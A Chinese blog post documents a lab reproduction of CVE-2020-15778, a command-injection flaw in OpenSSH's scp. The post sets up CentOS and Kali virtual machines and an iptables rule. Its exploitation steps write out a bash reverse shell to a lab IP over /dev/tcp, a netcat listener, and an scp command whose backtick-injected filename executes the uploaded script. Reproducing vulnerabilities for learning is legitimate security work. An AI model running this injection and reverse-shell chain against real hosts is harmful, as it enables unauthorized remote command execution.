CVE-2020-15778漏洞复现

CVE-2020-15778漏洞复现学习

作者:ch4nge

漏洞名称:OpenSSH 命令注入漏洞(CVE-2020-15778)

等级:高危

类型:命令执行

影响版本:OpenSSH <= 8.3p1

利用难度:简单

漏洞介绍:漏洞公开披露2020年7月18日,openssh 8.3p1的SCP命令存在命令注入漏洞,攻击者可以利用此漏洞执行任意命令。

1. scp命令

简单来说就是A这里执行scp命令,将A电脑里的文件传输到B电脑(linux系统)

命令格式
scp [参数] [原路径] [目标路径]

2. 模拟环境搭建

环境效果:不可以ssh连接,可以使用scp

看到大佬说有两种方式,这里使用iptables策略搭建

参考https://www.cnblogs.com/hana-alice/p/10097357.html

靶机环境:CentOS7,ip:192.168.1.135

渗透机环境:Kali 2020,ip:192.168.1.160

1. 查看ssh版本(CentOS)=7.4p1

CVE-2020-15778漏洞复现

2.正常情况下ssh和scp命令执行情况(Kali)

CVE-2020-15778漏洞复现

3.使用iptables策略搭建环境,禁用ssh登录,只保留scp(CentOS)

(1)安装iptables

yum install -y iptables

(2)安装iptables-services

yum install iptables-services 

(3)关闭防火墙

CentOS默认自带firewalld

停止firewalld服务 
systemctl stop firewalld
禁用firewalld服务 
systemctl mask firewalld 

(4)查看现有规则

iptables -L -vn

iptables -F是清空默认规则

iptables -L -n --line-number 显示规则和相对应的编号

(5)设置策略

CVE-2020-15778漏洞复现

命令:

service iptables start
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
service iptables save
iptables -L -n --line-number 

4. 测试ssh与scp在已设置iptables策略下的使用情况

CVE-2020-15778漏洞复现

scp功能正常使用,但是ssh在输入密码后,无任何回响,无法连接,证明iptables策略成功有效。

3. scp命令注入漏洞利用

1. 在kali里面新建1.sh,写入反弹shell的bash命令

bash -i >& /dev/tcp/192.168.1.160/6666 0>&1

2.在kali监听6666端口

nc -lvp 6666

CVE-2020-15778漏洞复现
或者使用revshellgen

3. 使用scp命令传输文件到CentOS的/tmp目录

scp 1.sh root@192.168.1.135:/tmp/1.sh

CVE-2020-15778漏洞复现

4. 命令执行,运行1.sh

scp 1.sh root@192.168.1.135:/'`sh /tmp/1.sh`'

CVE-2020-15778漏洞复现

CVE-2020-15778漏洞复现

成功反弹shell,实验结束!

4. 漏洞分析

if (remin == -1) {
	xasprintf(&bp, "%s -t %s%s", cmd,
	    *targ == '-' ? "-- " : "", targ);
	if (do_cmd(thost, tuser, tport, bp, &remin,
	    &remout) < 0)
		exit(1);
	if (response() < 0)
		exit(1);
	free(bp);
}

当执行本地scp命令时,scp不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效scp命令时,本地shell还将执行反引号中的命令。

5. 修复建议

补丁/升级

总结:此漏洞局限性很大,需要ssh的密码。。。通过这次操作收获良多,有问题的地方恳请指正。漏洞无处不在~好好学习!努力!奋斗!

其他

参考:
https://www.shangyexinzhi.com/article/2244053.html
https://my.oschina.net/u/4593034/blog/4666815
iptables策略:https://www.cnblogs.com/hana-alice/p/10097357.html
SCP的代码:https://github.com/openssh/openssh-portable/blob/master/scp.c

上一篇:java-如何使用SSHJ通过SCP流式传输文件?


下一篇:远程登录和远程拷贝